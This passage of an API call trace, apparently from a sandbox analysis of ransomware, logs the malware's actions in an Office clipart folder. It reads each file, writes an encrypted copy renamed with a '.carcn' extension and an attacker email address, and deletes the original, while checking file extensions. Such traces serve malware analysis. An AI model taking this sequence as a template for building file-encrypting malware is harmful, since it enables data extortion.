Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.421] lstrlenW (lpString=".doc") returned 4 [0293.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString=".docx") returned 5 [0293.421] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.421] lstrlenW (lpString=".pdf") returned 4 [0293.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString=".xls") returned 4 [0293.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.421] lstrlenW (lpString=".xlsx") returned 5 [0293.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.421] lstrlenW (lpString=".ppt") returned 4 [0293.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.421] lstrlenW (lpString=".zip") returned 4 [0293.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.421] lstrlenW (lpString=".rar") returned 4 [0293.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString=".bz2") returned 4 [0293.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString=".7z") returned 3 [0293.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.421] lstrlenW (lpString=".dbf") returned 4 [0293.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.422] lstrlenW (lpString=".1cd") returned 4 [0293.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.422] lstrlenW (lpString=".jpg") returned 4 [0293.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.422] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.422] lstrlenW (lpString="AN01060_.WMF") returned 12 [0293.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.422] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7968) returned 1 [0293.422] CloseHandle (hObject=0x36c) returned 1 [0293.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0293.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.423] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.423] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0293.423] GetLastError () returned 0x0 [0293.423] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1f20, lpOverlapped=0x0) returned 1 [0293.424] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0293.425] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.425] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.426] SetEndOfFile (hFile=0x360) returned 1 [0293.426] CloseHandle (hObject=0x360) returned 1 [0293.426] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.426] SetEndOfFile (hFile=0x36c) returned 1 [0293.427] CloseHandle (hObject=0x36c) returned 1 [0293.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0293.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.428] lstrlenW (lpString=".doc") returned 4 [0293.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.428] lstrlenW (lpString=".docx") returned 5 [0293.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.428] lstrlenW (lpString=".pdf") returned 4 [0293.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.428] lstrlenW (lpString=".xls") returned 4 [0293.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.428] lstrlenW (lpString=".xlsx") returned 5 [0293.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.428] lstrlenW (lpString=".ppt") returned 4 [0293.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.428] lstrlenW (lpString=".zip") returned 4 [0293.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.428] lstrlenW (lpString=".rar") returned 4 [0293.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.428] lstrlenW (lpString=".bz2") returned 4 [0293.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.428] lstrlenW (lpString=".7z") returned 3 [0293.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.428] lstrlenW (lpString=".dbf") returned 4 [0293.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.428] lstrlenW (lpString=".1cd") returned 4 [0293.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.429] lstrlenW (lpString=".jpg") returned 4 [0293.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.429] lstrlenW (lpString=".doc") returned 4 [0293.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.429] lstrlenW (lpString=".docx") returned 5 [0293.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.429] lstrlenW (lpString=".pdf") returned 4 [0293.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.429] lstrlenW (lpString=".xls") returned 4 [0293.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.429] lstrlenW (lpString=".xlsx") returned 5 [0293.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.429] lstrlenW (lpString=".ppt") returned 4 [0293.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.429] lstrlenW (lpString=".zip") returned 4 [0293.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.429] lstrlenW (lpString=".rar") returned 4 [0293.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.429] lstrlenW (lpString=".bz2") returned 4 [0293.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.429] lstrlenW (lpString=".7z") returned 3 [0293.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.429] lstrlenW (lpString=".dbf") returned 4 [0293.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.429] lstrlenW (lpString=".1cd") returned 4 [0293.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0293.430] lstrlenW (lpString=".jpg") returned 4 [0293.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.430] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.430] lstrlenW (lpString="AN01084_.WMF") returned 12 [0293.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.430] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1832) returned 1 [0293.430] CloseHandle (hObject=0x36c) returned 1 [0293.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0293.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.431] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.431] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0293.998] GetLastError () returned 0x0 [0293.998] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x728, lpOverlapped=0x0) returned 1 [0294.000] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x730, lpOverlapped=0x0) returned 1 [0294.001] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.001] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.001] SetEndOfFile (hFile=0x368) returned 1 [0294.001] CloseHandle (hObject=0x368) returned 1 [0294.001] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.002] SetEndOfFile (hFile=0x36c) returned 1 [0294.003] CloseHandle (hObject=0x36c) returned 1 [0294.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0294.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.007] lstrlenW (lpString=".doc") returned 4 [0294.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.007] lstrlenW (lpString=".docx") returned 5 [0294.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.007] lstrlenW (lpString=".pdf") returned 4 [0294.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.007] lstrlenW (lpString=".xls") returned 4 [0294.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.007] lstrlenW (lpString=".xlsx") returned 5 [0294.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.007] lstrlenW (lpString=".ppt") returned 4 [0294.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.007] lstrlenW (lpString=".zip") returned 4 [0294.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.007] lstrlenW (lpString=".rar") returned 4 [0294.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.007] lstrlenW (lpString=".bz2") returned 4 [0294.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.007] lstrlenW (lpString=".7z") returned 3 [0294.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.007] lstrlenW (lpString=".dbf") returned 4 [0294.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.008] lstrlenW (lpString=".1cd") returned 4 [0294.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.008] lstrlenW (lpString=".jpg") returned 4 [0294.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.008] lstrlenW (lpString=".doc") returned 4 [0294.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.008] lstrlenW (lpString=".docx") returned 5 [0294.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.008] lstrlenW (lpString=".pdf") returned 4 [0294.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.008] lstrlenW (lpString=".xls") returned 4 [0294.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.008] lstrlenW (lpString=".xlsx") returned 5 [0294.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.008] lstrlenW (lpString=".ppt") returned 4 [0294.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.008] lstrlenW (lpString=".zip") returned 4 [0294.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.008] lstrlenW (lpString=".rar") returned 4 [0294.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.008] lstrlenW (lpString=".bz2") returned 4 [0294.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.008] lstrlenW (lpString=".7z") returned 3 [0294.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.009] lstrlenW (lpString=".dbf") returned 4 [0294.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.009] lstrlenW (lpString=".1cd") returned 4 [0294.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0294.009] lstrlenW (lpString=".jpg") returned 4 [0294.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.009] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.009] lstrlenW (lpString="AN01174_.WMF") returned 12 [0294.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0294.010] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=27858) returned 1 [0294.010] CloseHandle (hObject=0x36c) returned 1 [0294.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0294.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0294.010] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.010] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.013] GetLastError () returned 0x0 [0294.014] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0294.015] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0294.016] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.017] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.017] SetEndOfFile (hFile=0x370) returned 1 [0294.023] CloseHandle (hObject=0x370) returned 1 [0294.029] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.029] SetEndOfFile (hFile=0x36c) returned 1 [0294.035] CloseHandle (hObject=0x36c) returned 1 [0294.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0294.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.050] lstrlenW (lpString=".doc") returned 4 [0294.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.050] lstrlenW (lpString=".docx") returned 5 [0294.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.050] lstrlenW (lpString=".pdf") returned 4 [0294.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.050] lstrlenW (lpString=".xls") returned 4 [0294.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.050] lstrlenW (lpString=".xlsx") returned 5 [0294.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.051] lstrlenW (lpString=".ppt") returned 4 [0294.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.051] lstrlenW (lpString=".zip") returned 4 [0294.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.051] lstrlenW (lpString=".rar") returned 4 [0294.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.051] lstrlenW (lpString=".bz2") returned 4 [0294.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.051] lstrlenW (lpString=".7z") returned 3 [0294.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.051] lstrlenW (lpString=".dbf") returned 4 [0294.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.051] lstrlenW (lpString=".1cd") returned 4 [0294.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.051] lstrlenW (lpString=".jpg") returned 4 [0294.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.051] lstrlenW (lpString=".doc") returned 4 [0294.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.051] lstrlenW (lpString=".docx") returned 5 [0294.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.051] lstrlenW (lpString=".pdf") returned 4 [0294.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.051] lstrlenW (lpString=".xls") 